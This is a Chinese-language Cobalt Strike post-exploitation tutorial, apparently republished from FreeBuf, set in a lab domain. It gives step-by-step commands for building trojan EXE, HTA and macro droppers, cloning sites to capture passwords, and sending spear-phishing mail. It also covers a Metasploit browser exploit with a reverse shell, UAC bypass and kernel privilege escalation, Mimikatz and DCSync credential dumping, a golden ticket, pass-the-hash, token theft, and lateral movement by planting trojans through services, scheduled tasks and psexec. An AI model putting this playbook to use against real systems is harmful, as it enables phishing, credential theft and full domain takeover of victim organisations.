CobaltStrike后渗透进阶篇
2023-6-27 09:1:1 Author: www.freebuf.com(查看原文) 阅读量:21 收藏

本文主要介绍CobaltStrike的进阶使用,包括网络钓鱼攻击、主机权限提升、域内渗透等。

0x01 网络钓鱼攻击

钓鱼攻击简介

钓鱼攻击主要通过生成的木马诱使受害者运行后上线,其中木马一般都伪装成正常的程序。与此同时配合钓鱼网站可帮助攻击者模拟真实网站诱骗受害者访问,达到获取账号密码、上线木马等目的。接下来主要介绍后门程序的生成及钓鱼模块的使用,共包括以下几个层面

  • 克隆网站键盘记录

  • 克隆网站执行木马

  • MSF配合CS钓鱼

后门程序生成

首先生成监听器

EXE后门生成

点击攻击生成 exe 后门

选择监听器后点击生成

运行 EXE 木马后上线CS

HTA后门生成

点击攻击生成 HTA 文档

选择监听器后点击生成 HTA 文档

当然也可以把方法切换为 powershell

访问evil.hta成功上线CS

宏病毒生成

点击攻击生成生成 Office 宏病毒

选择监听器后点击生成

程序提示创建宏步骤

在受害主机中打开 Word,创建文档sex.docx,点击查看宏并设置宏的位置

点击创建后把宏代码复制其中

成功保存文档sec.docm

打开文档后点击启用内容

成功上线CS

WEB网络钓鱼

站点管理模块

在站点管理模块中能够看到对应模块,选择 URI 能够复制执行命令

信息收集模块

点击信息收集模块

设置本地端口和跳转URL

访问http://192.168.0.110:8080/会马上跳转到百度,在 web 日志中存在目标系统信息

而应用程序中也会存有记录

克隆网站键盘记录

点击攻击选择网站克隆模块克隆网站

设置克隆URL、本地端口,完成后点击克隆

受害者访问http://192.168.0.110:8081/输入账号密码

在 web 日志中可以看到输入的账号密码

克隆网站执行木马

点击攻击选择文件托管模块

上传生成的 hta 文件,设置本地URI为/update.hta,因此文件地址为http://192.168.0.110:80/update.hta

同样克隆网站设置克隆URL和本地URI,区别是需设置攻击为刚刚设置的文件

在本地访问http://192.168.0.110:80/baidu

点击运行后成功上线CS

MSF配合CS钓鱼

在 MSF 中生成存在溢出代码的站点

msf > use exploit/windows/browser/ms14_064_ole_code_execution
msf > set srvhost 192.168.0.110
msf > set SRVPORT 888
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 192.168.0.110
msf > exploit

生成URL为http://192.168.0.110:888/YzEvqWqpx7YWgqv

把 URL 复制到克隆网站的攻击地址当中,受害者访问站点就会加载以上 payload 进行溢出攻击

该漏洞存在受限,主要针对 Windows XP 系统,在 XP 中访问http://192.168.0.110:80/msf,需要注意的是访问第一次可能会报错

成功访问 URL 定位到百度站点

成功返回会话

鱼叉钓鱼攻击

鱼叉式网络钓鱼是一种只针对特定目标进行攻击的网络钓鱼攻击。由于鱼叉式网络钓鱼锁定的对象并非是一般个人,而是特定公司或组织的成员,因此与一般网络钓鱼有所不同,它获取的不只是个人信息,还有其他高度敏感的资料,如知识产权、商业机密等。

钓鱼邮件设置

在 CS 中提供了邮箱钓鱼模块,在测试时需要准备以下三种东西:

打开邮件钓鱼模块

把目标targets.txt导入目标

打开邮箱并选择一封邮件

点击显示邮件原文,复制内容为template.txt

template.txt导入模版

把跳转界面设置为https://account.aliyun.com/,用于登录阿里云

设置邮件服务器、邮箱的账号密码,其中密码为授权码

设置退信通知邮箱后点击Send发送

接收钓鱼邮件

查看 QQ 邮箱发现邮件已经收到

但是这里遇到一个问题:点击跳转还是原来文件的URL,需要修改原文件,定位点击链接为https://go.circleci.com/NDg1LVpNSC02MjYAAAGBN2O4SHEHs-trqwvcOLAF75ef-iF2QtyVulUAmflDERbarobc_r4Jp-UtmB8Y1HZEU_fU0to=

同时在模版中将其修改为https://account.aliyun.com/即可

成功跳转至阿里云登录页面

结合克隆网站

在 CS 中克隆阿里云登录界面,但提示无法克隆

修改其他网站地址进行克隆

访问http://192.168.0.110:80/并输入账号密码成功返回,说明测试成功

接下来把阿里云登录地址修改为当前克隆网站的地址

再次设置邮箱地址以及账号密码,点击发送后收到邮件

在邮件中点击click me

跳转到目标站点并输入账号密码

记录账号密码成功

0x02 主机权限提升

在 CS 中存在多种提升权限的方式,包括 UAC 提权、MS14-058 提权、PowerUp 提权、Mimikatz 提权等,接下里就来介绍这几种提权方式

UAC绕过提权

UAC 是微软在 Windows Vista 以后版本中引入的一种安全机制,通过 UAC 应用程序和任务能始终在非管理员权限账户下运行,除非管理员特别授予管理员级别的系统访问权限,同时 UAC 可以阻止未经授权的应用程序自动安装并防止无意中更改系统设置。目前 macadmin 为管理员用户,但是后面没有*号,说明没有绕过 UAC 机制

查看当前上线主机用户的所属组,同时 UAC 等级为 Medium

shell whoami /groups

选择凭据提权》权限提升

选择监听器和提权方式为uac-token-duplication,点击运行

成功 BypassUAC 上线macadmin的完全控制权限

新建 SMB 监听器,同样可把它作为监听器完成权限提升

成功上线 CS

MS14-058提权

MS14-058 是微软存在的一个内核提权漏洞,影响范围包括 Windows7 和 Windows Server 2008 R2 及以下版本,攻击者通过该漏洞直接从普通用户提升到系统权限。选择梼杌插件中的权限提升》MS14-058

选择监听器后点击运行

成功上线系统权限

PowerUp提权

查询帮助命令存在 powershell 导入命令

help

输入命令导入PowerUp.ps1

powershell-import

运行 powershell 命令进行检查,成功发现系统服务ViewPic_2345Svc

powershell Invoke-AllChecks

查看该服务运行权限,Users用户为 F 权限,说明能完全控制程序

shell icacls "C:\Program Files\2345Soft\2345Pic\protect\Pic_2345Svc.exe"

利用该服务添加系统用户

powershell Install-ServiceBinary -ServiceName ViewPic_2345Svc -UserName machacker -Password 123456

Mimikatz提权

Mimikatz 主要通过抓取用户在内存中的密码,通过密码可登录目标管理员账户,成功提升权限后可抓取明文密码和密码哈希

logonpasswords

即可获取到管理员账号密码

hashdump

利用拿到的明文密码上线管理员

0x03 域内渗透

域内信息收集

枚举信任主机

查看网络内和域内主机和IP地址

net view
net view [domain]


列出当前域控以及特定域控

net dclist 
net dclist [domain]

查看本地和其他主机默认共享

net share
net share \\[computer name] //查看默认共享

查找域和主机名对应的IP地址

shell ping [computer name] #通过ping查看主机名ip地址
shell nslookup [computer name] #根据netbios查看ip地址
shell net view /domain #查找当前域

查看当前域主机列表

shell net view /domain:[domain] 
shell net group "domain computers" //需在域控下执行


64位系统可使用命令查看域信任关系,而在32位下直接使用nltest

shell c:\windows\sysnative\nltest /dclist:[domain] //查看域控
shell c:\windows\sysnative\nltest /domain_trusts //查看域信任关系
shell c:\windows\sysnative\nltest /server:[address] /domain_trusts


导入PowerView.ps1脚本

powershell-import

使用 PowerView 命令枚举主机

powershell Invoke-Netview
powershell Invoke-ShareFinder
powershell Inovke-MapDomainTrusts

判断本地管理员

普通域用户在做一些高级别操作时需要管理员的账号和密码,因此有时候会把普通域用户添加到目标主机的超级管理员组,那么在进行配置时不需要域超级管理员的账号和密码。所以我们要判断当前用户是域用户还是普通用户,进而判断是域管理员还是本地管理员

shell dir \\owa\c$ //查看其他主机的默认共享
powershell Invoke-FindLocalAdminAccess

判断域内管理员

使用 Windows 命令进行判断

shell net group "enterprise admins" /domain
shell net group "domain admins" /domain 
shell net localgroup "administrators" /domain


使用 Beacon 命令进行判断

net group \\[username]
net localgroup \\[username] [group name]

使用 PowerView 命令进行判断

powershell Get-NetLocalGroup -HostName owa

基础信息收集

使用 cmd 命令查看磁盘

shell dir \\[computer name]\c$ //查看主机名对应的C盘目录文件,前提是拥有管理员权限
shell dir /S /B \\[computer name]\c$\users //查看主机下登录过的用户名

使用 powershell 命令查看磁盘

powershell Invoke-Command -ComputerName owa -ScriptBlock{dir c:\}

使用 powershell 运行 mimikatz 获取明文密码

upload invoke-mimkatz.ps1
powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"

域内登录认证

域管理员Token窃取

查看进程并寻找域控管理员进程 PID

shell whoami
ps

成功找到 httpd 进程为域管理员

窃取该进程获取 token 成功访问域控

steal_token 1400
shell dir \\OWA\C$

清除 token 后就无法访问域控主机

rev2self #还原进程
shell dir \\OWA\C$

在图形化界面中同样能操作

域管凭证制作Token

使用 mimikatz 拿到域管理员的明文密码后可以制作 token

例:make_token domain\user password
make_token GOD\Administrator mac1234!

成功访问域控

shell dir \\OWA\C$

在图形化界面中同样能操作

通过 SMB 协议也可以建立远程连接访问域控

shell net use \\OWA\C$ /user:GOD\Administrator mac1234!
shell dir \\OWA\C$
shell net use * /delete //删除连接
shell net use \\OWA\C$ /del

域管理员哈希传递

使用 mimikatz 收集到的域管理员哈希同样能进行身份认证

例:pth .\administrator [ntlm]
pth GOD\Administrator e97afaff5812d7cc281147091ebb4dc7

成功访问域控

shell dir \\OWA\C$

域管理员票据传递

域内大量使用 Kerberos 认证协议,它和密码散列认证有所不同,两者虽然都使用凭据来产生 Token,但票据存储在 Kerberos 托管的地方。在 Kerberos 认证中 Client 通过 AS(身份认证服务) 认证后, AS 会给 Client 一个 Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,同时 krbtgt 的 NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和 Logon Session Key 进入下一步 Client 与 TGS 的交互。如果有了黄金票据后就不需要与 AS 发生交互,可跳过 AS 验证,不用验证账户和密码,也就不用担心域管密码被修改,从而完成权限维持

黄金票据制作条件

  • 域管理员用户名

  • 域名

  • 域SID

  • krbtgt 用户哈希

目前已知域管理员用户名和域名,使用域普通用户获取域 SID

shell whoami/user

其中用户 SID 为S-1-5-21-2952760202-1353902439-2381784089-1113,去掉 1113 后为域 SIDS-1-5-21-2952760202-1353902439-2381784089

使用 mimikatz 获取 krbtgt 用户的哈希值

mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:god.org /all /csv
mimikatz # lsadump::dcsync /domain:god.org /user:krbtgt

成功拿到 krbtgt 用户的哈希值为58e91a5ac358d86513ab224312314061

使用图形化操作界面制作黄金票据

实际执行命令如下:

mimikatz kerberos::golden /user:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /endin:480 /renewmax:10080 /ptt

查看当前会话凭据

shell klist
shell c:\windows\sysnative\klist

其他 Kerberos 命令如下:

kerberos_ccache_use       #从ccache文件中导入票据应用于此会话
kerberos_ticket_purge     #清除当前会话的票据
kerberos_ticket_use       #从ticket文件中导入票据应用于此会话

域内横向渗透

当前环境下 mac 是 god 域中的普通用户,与此同时还是 test1 主机中的本地管理员。目前 mac 在 stu1 主机上上线,同时 test1 主机上存在域管理员进程

创建服务程序

目前已获得 mac 用户在 stu1 主机上的权限,把木马程序复制到 test1 主机下

shell copy c:\mac.exe \\test1\c$\windows\temp\test1.exe

创建服务执行木马程序并启动服务

shell sc \\test1 create test1 binpath= c:\windows\temp\test1.exe
shell sc \\test1 start test1
shell sc \\test1 delete test1 //删除服务

执行后 test1 主机中的系统用户上线

创建计划任务

首先把木马程序复制到 test1 主机下

shell copy c:\mac.exe \\test1\c$\windows\temp\test1.exe

查看当前主机的时间

shell net time \\test1

设置定时任务执行木马程序

shell at \\test1 1:35:00 c:\windows\temp\test1.exe

成功上线CS

查看本地域管理员进程ID为2040

ps

窃取域管理员的进程 Token

steal_token 2040

成功访问域控

shell dir \\owa\c$

计划任务上线域控

当前域控与 CS 服务端不在同一网段内,需要用到转发监听器,在刚上线主机上选择转发上线

设置转发监听器,实际执行命令如下:

rportfwd 4444 windows/beacon_reverse_tcp

生成木马程序test2.exe并设置转发监听器为zhuanfa

上传木马程序test2.exeC:\Windows\temp\目录下

把木马程序test2.exe复制到域控上

shell copy C:\windows\temp\test2.exe \\owa\c$\windows\temp\test2.exe

查看当前域控时间

shell net time \\owa

设置定时任务执行木马

shell at \\owa 2:07:00 C:\windows\temp\test2.exe

成功上线CS

域内自动化渗透

渗透环境与上面相同

自动化信息收集

上传 PowerView 查看当前环境情况,但结果出现问题

powershell-import
powershell Invoke-FindLocalAdminAccess

当然也可以使用 taowu 插件查询常用信息

自动化横向渗透

利用 SMB 协议可无需上传下载代理工具即可完成横向移动,首先创建 SMB 监听

查看当前网段内的主机

net view

选择 test1 主机使用 psexec 进行横向

设置会话和监听,其中 mac 是目标主机的本地管理员

利用 psexec 成功上线 system

查看进程找到域管理员的进程

ps

选择 PID 为2040进行注入

steal_token 2040

在主机中选择 OWA 利用 psexec 进行横向 psexec_psh

设置会话和监听

成功上线域控服务器


文章来源: https://www.freebuf.com/articles/network/370390.html
如有侵权请联系:admin#unsafe.sh